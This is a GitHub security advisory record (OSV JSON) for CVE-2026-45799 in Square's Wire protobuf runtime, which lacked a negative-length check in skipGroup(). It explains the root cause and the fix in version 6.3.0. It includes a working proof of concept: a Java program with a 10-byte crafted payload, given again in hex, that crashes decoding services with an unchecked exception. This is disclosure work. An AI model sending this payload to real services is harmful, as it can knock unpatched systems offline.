{"id":"GHSA-7xpr-hc2w-34m9","summary":"Wire: skipGroup() missing negative-length check allows 10-byte payload to crash any Wire-decoding service ","details":"# CVE-2026-45799\n\n## Maintainer summary\n\nWire's protobuf group-skipping logic did not reject negative lengths before skipping a\nlength-delimited field inside a group. A crafted protobuf payload could cause Wire to throw an\nunchecked runtime exception during decoding instead of the documented `IOException` /\n`ProtocolException` failure path.\n\nThis can crash services that decode untrusted protobuf payloads and only handle Wire's documented\nchecked decoding failures.\n\n## Affected artifacts\n\n### `com.squareup.wire:wire-runtime`\n\nAffected versions: vulnerable releases before `6.3.0`.\n\nPatched versions: `6.3.0` and later.\n\nUsers should upgrade to `com.squareup.wire:wire-runtime:6.3.0` or later.\n\n### `com.squareup.wire:wire-runtime-jvm`\n\nAffected versions: vulnerable releases before `6.3.0`.\n\nPatched versions: `6.3.0` and later.\n\nUsers should upgrade to `com.squareup.wire:wire-runtime:6.3.0` or later.\n\n### Wire 7 alpha releases\n\nThe fix has been merged to `master` and will be included in the next Wire 7 alpha release. Until\nthat release is available, Wire 7 alpha users should avoid decoding untrusted protobuf payloads with\naffected alpha versions or build from a commit containing the fix.\n\n## Fix\n\nThe issue is fixed in Wire `6.3.0`.\n\nThe fix rejects negative lengths while skipping groups and throws `ProtocolException` instead of\nallowing the reader to move to an invalid position and later throw an unchecked runtime exception.\n\n## Credit\n\nReported by @TrekLaps.\n\n## Technical details\n\nThe following technical details are based on the original report, updated by the maintainers to\nreflect the assigned CVE, the supported fixed artifact, and the discontinued status of\n`com.squareup.wire:wire-runtime-jvm`.\n\n`ByteArrayProtoReader32.skipGroup()` in `wire-runtime` did not validate that a\n`LENGTH_DELIMITED` field's length is non-negative before calling `skip()`. A crafted protobuf\nvarint encodes `-128` as a signed `Int`. When `skip(-128)` runs, the internal position counter\nunderflows to an invalid negative position. The next `readByte()` accesses the source with that\nnegative position, throwing `ArrayIndexOutOfBoundsException`, a `RuntimeException` that escapes\nWire's documented `IOException` boundary and can crash the request handler.\n\n`ProtoAdapter.decode(byte[])` is declared to throw `IOException`. Callers following the documented\nAPI may catch only `IOException`, so unchecked runtime exceptions from malformed input can escape\nthe expected error boundary.\n\nThe originally confirmed vulnerable legacy versions include `5.3.1` and `5.3.3` for the\ndiscontinued `com.squareup.wire:wire-runtime-jvm` coordinate. The supported replacement coordinate\nis `com.squareup.wire:wire-runtime`, fixed in version `6.3.0`.\n\n## Root cause\n\nIn the originally reported vulnerable code path, `ByteArrayProtoReader32.skipGroup()` read the\nlength as a signed `Int` and used it without validating that it was non-negative:\n\n```kotlin\nSTATE_LENGTH_DELIMITED -\u003e {\n  val length = internalReadVarint32() // returns signed Int and can be negative\n  skip(length)                        // no negative check\n}\n```\n\nThe internal `skip()` implementation then accepted the negative count because the computed\nposition was not greater than the limit:\n\n```kotlin\nprivate fun skip(byteCount: Int) {\n  val newPos = pos + byteCount        // for example, 7 + (-128) = -121\n  if (newPos \u003e limit) throw EOFException()\n  pos = newPos                        // pos = -121\n}\n```\n\nThe next read could then index the source with the invalid negative position:\n\n```kotlin\nprivate fun readByte(): Byte {\n  if (pos == limit) throw EOFException()\n  return source[pos++]                // source[-121] throws ArrayIndexOutOfBoundsException\n}\n```\n\nWire already rejected negative lengths in normal length-delimited field decoding. The same\nvalidation was missing from group-skipping code.\n\nThe fix adds this validation when skipping groups:\n\n```kotlin\nSTATE_LENGTH_DELIMITED -\u003e {\n  val length = internalReadVarint32()\n  if (length \u003c 0) throw ProtocolException(\"Negative length: $length...\")\n  skip(length)\n}\n```\n\nThe fix was applied to both `ByteArrayProtoReader32.skipGroup()` and `ProtoReader.skipGroup()`.\n\n## Reproduction\n\nThe following reproduction was provided for vulnerable legacy `wire-runtime-jvm` releases such as\n`5.3.1` and `5.3.3`:\n\n```bash\ncurl -sL https://repo1.maven.org/maven2/com/squareup/wire/wire-runtime-jvm/5.3.3/wire-runtime-jvm-5.3.3.jar -o wire.jar\ncurl -sL https://repo1.maven.org/maven2/com/squareup/okio/okio-jvm/3.9.1/okio-jvm-3.9.1.jar -o okio.jar\ncurl -sL https://repo1.maven.org/maven2/org/jetbrains/kotlin/kotlin-stdlib/2.1.0/kotlin-stdlib-2.1.0.jar -o stdlib.jar\n```\n\n```java\n// WirePoc.java\nimport com.squareup.wire.AnyMessage;\n\npublic class WirePoc {\n  public static void main(String[] args) throws Exception {\n    byte[] payload = new byte[] {\n      (byte) 0x9B, 0x06,                                          // field 99, START_GROUP\n      0x0A,                                                       // field 1, LENGTH_DELIMITED\n      (byte) 0x80, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, 0x0F,   // varint = -128\n      (byte) 0x9C, 0x06                                           // field 99, END_GROUP\n    };\n\n    AnyMessage.ADAPTER.decode(payload);\n  }\n}\n```\n\n```bash\njavac -cp \"wire.jar:okio.jar:stdlib.jar\" WirePoc.java\njava -cp \".:wire.jar:okio.jar:stdlib.jar\" WirePoc\n```\n\nObserved output on vulnerable versions:\n\n```text\nException in thread \"main\" java.lang.ArrayIndexOutOfBoundsException: Index -120 out of bounds for length 10\n    at com.squareup.wire.ByteArrayProtoReader32.readByte(ByteArrayProtoReader32.kt:448)\n    at com.squareup.wire.ByteArrayProtoReader32.internalReadVarint32(ByteArrayProtoReader32.kt:294)\n    at com.squareup.wire.ByteArrayProtoReader32.skipGroup(ByteArrayProtoReader32.kt:209)\n    at com.squareup.wire.ByteArrayProtoReader32.nextTag(ByteArrayProtoReader32.kt:156)\n    at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:150)\n    at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:88)\n    at com.squareup.wire.ProtoAdapter.decode(ProtoAdapter.kt:468)\n    at WirePoc.main(WirePoc.java:10)\n```\n\nWith the fix, the same payload is rejected with `ProtocolException`.\n\n## Why this can affect any Wire-decoding service\n\n`skipGroup()` is called for any unknown field with wire type 3. An attacker can send an unknown\nfield, such as field 99, with wire type `START_GROUP`. The decoder skips it via `skipGroup()`\nregardless of which message type the service uses, so no schema knowledge is required.\n\nPayload:\n\n```text\n9b060a80ffffff0f9c06\n```\n\nPayload breakdown:\n\n```text\n0x9B 0x06                 field 99, wire type 3 (START_GROUP)\n0x0A                      field 1, wire type 2 (LENGTH_DELIMITED) inside group\n0x80 0xFF 0xFF 0xFF 0x0F  5-byte varint = -128 as signed Int\n0x9C 0x06                 field 99, END_GROUP\n```","aliases":["CVE-2026-45799"],"modified":"2026-08-05T15:00:21.927555867Z","published":"2026-05-19T19:54:50Z","database_specific":{"github_reviewed_at":"2026-05-19T19:54:50Z","nvd_published_at":"2026-07-17T20:17:18Z","cwe_ids":["CWE-129"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/square/wire/security/advisories/GHSA-7xpr-hc2w-34m9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45799"},{"type":"WEB","url":"https://github.com/square/wire/pull/3595"},{"type":"WEB","url":"https://github.com/square/wire/pull/3597"},{"type":"WEB","url":"https://github.com/square/wire/commit/47d5b0dba53935d5332cd41a80a353b3fc90e7b0"},{"type":"WEB","url":"https://github.com/square/wire/commit/e4e56fab38a547d9625f05c97f1d8f0bcc3a5773"},{"type":"PACKAGE","url":"https://github.com/square/wire"},{"type":"WEB","url":"https://github.com/square/wire/releases/tag/6.3.0"},{"type":"WEB","url":"https://github.com/square/wire/releases/tag/7.0.0-alpha03"}],"affected":[{"package":{"name":"com.squareup.wire:wire-runtime-jvm","ecosystem":"Maven","purl":"pkg:maven/com.squareup.wire/wire-runtime-jvm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.3.0"}]}],"versions":["3.0.0-alpha03","4.0.0","4.0.0-alpha.10","4.0.0-alpha.11","4.0.0-alpha.12","4.0.0-alpha.15","4.0.0-alpha.16","4.0.0-alpha.17","4.0.0-alpha.18","4.0.0-alpha.19","4.0.0-alpha.20","4.0.0-alpha.8","4.0.0-alpha.9","4.0.1","4.1.0","4.1.1","4.2.0","4.3.0","4.4.0","4.4.1","4.4.2","4.4.3","4.5.0","4.5.1","4.5.2","4.5.3","4.5.4","4.5.5","4.5.6","4.6.0","4.6.1","4.6.2","4.7.0","4.7.1","4.7.2","4.8.0","4.8.1","4.9.0","4.9.1","4.9.11","4.9.2","4.9.3","4.9.4","4.9.5","4.9.6","4.9.7","4.9.8","4.9.9","5.0.0","5.0.0-alpha01","5.0.0-alpha02","5.0.0-alpha03","5.0.0-alpha04","5.1.0","5.2.0","5.2.1","5.3.0","5.3.1","5.3.10","5.3.11","5.3.2","5.3.3","5.3.4","5.3.5","5.3.6","5.3.7","5.3.8","5.3.9","5.4.0","5.5.0","5.5.1","6.0.0","6.0.0-alpha01","6.0.0-alpha02","6.0.0-alpha03","6.1.0","6.2.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 6.2.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7xpr-hc2w-34m9/GHSA-7xpr-hc2w-34m9.json"}},{"package":{"name":"com.squareup.wire:wire-runtime","ecosystem":"Maven","purl":"pkg:maven/com.squareup.wire/wire-runtime"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.3.0"}]}],"versions":["1.0.0","1.0.1","1.1.0","1.1.1","1.2.0","1.3.0","1.3.1","1.3.2","1.3.3","1.4.0","1.5.0","1.5.1","1.5.2","1.6.0","1.6.1","1.7.0","1.8.0","2.0.0","2.0.0-BETA1","2.0.0-BETA10","2.0.0-BETA2","2.0.0-BETA3","2.0.0-BETA4","2.0.0-BETA5","2.0.0-BETA6","2.0.0-BETA7","2.0.0-BETA8","2.0.0-BETA9","2.0.1","2.0.2","2.0.3","2.1.0","2.1.1","2.1.2","2.2.0","2.3.0-RC1","3.0.0","3.0.0-alpha01","3.0.0-alpha02","3.0.0-alpha03","3.0.0-rc01","3.0.0-rc02","3.0.0-rc03","3.0.1","3.0.2","3.0.3","3.1.0","3.2.0","3.2.1","3.2.2","3.3.0","3.3.0-alpha1","3.4.0","3.5.0","3.6.0","3.6.1","3.7.0","3.7.1","4.0.0","4.0.0-alpha.1","4.0.0-alpha.10","4.0.0-alpha.11","4.0.0-alpha.12","4.0.0-alpha.15","4.0.0-alpha.16","4.0.0-alpha.17","4.0.0-alpha.18","4.0.0-alpha.19","4.0.0-alpha.2","4.0.0-alpha.20","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-alpha.5","4.0.0-alpha.6","4.0.0-alpha.7","4.0.0-alpha.8","4.0.0-alpha.9","4.0.1","4.1.0","4.1.1","4.2.0","4.3.0","4.4.0","4.4.1","4.4.2","4.4.3","4.5.0","4.5.1","4.5.2","4.5.3","4.5.4","4.5.5","4.5.6","4.6.0","4.6.1","4.6.2","4.7.0","4.7.1","4.7.2","4.8.0","4.8.1","4.9.0","4.9.1","4.9.11","4.9.2","4.9.3","4.9.4","4.9.5","4.9.6","4.9.7","4.9.8","4.9.9","5.0.0","5.0.0-alpha01","5.0.0-alpha02","5.0.0-alpha03","5.0.0-alpha04","5.1.0","5.2.0","5.2.1","5.3.0","5.3.1","5.3.10","5.3.11","5.3.2","5.3.3","5.3.4","5.3.5","5.3.6","5.3.7","5.3.8","5.3.9","5.4.0","5.5.0","5.5.1","6.0.0","6.0.0-alpha01","6.0.0-alpha02","6.0.0-alpha03","6.1.0","6.2.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 6.2.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7xpr-hc2w-34m9/GHSA-7xpr-hc2w-34m9.json"}},{"package":{"name":"com.squareup.wire:wire-runtime","ecosystem":"Maven","purl":"pkg:maven/com.squareup.wire/wire-runtime"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.0.0-alpha01"},{"fixed":"7.0.0-alpha03"}]}],"versions":["7.0.0-alpha01","7.0.0-alpha02"],"database_specific":{"last_known_affected_version_range":"\u003c= 7.0.0-alpha02","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7xpr-hc2w-34m9/GHSA-7xpr-hc2w-34m9.json"}},{"package":{"name":"com.squareup.wire:wire-runtime-jvm","ecosystem":"Maven","purl":"pkg:maven/com.squareup.wire/wire-runtime-jvm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.0.0-alpha01"},{"fixed":"7.0.0-alpha03"}]}],"versions":["7.0.0-alpha01","7.0.0-alpha02"],"database_specific":{"last_known_affected_version_range":"\u003c= 7.0.0-alpha02","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7xpr-hc2w-34m9/GHSA-7xpr-hc2w-34m9.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}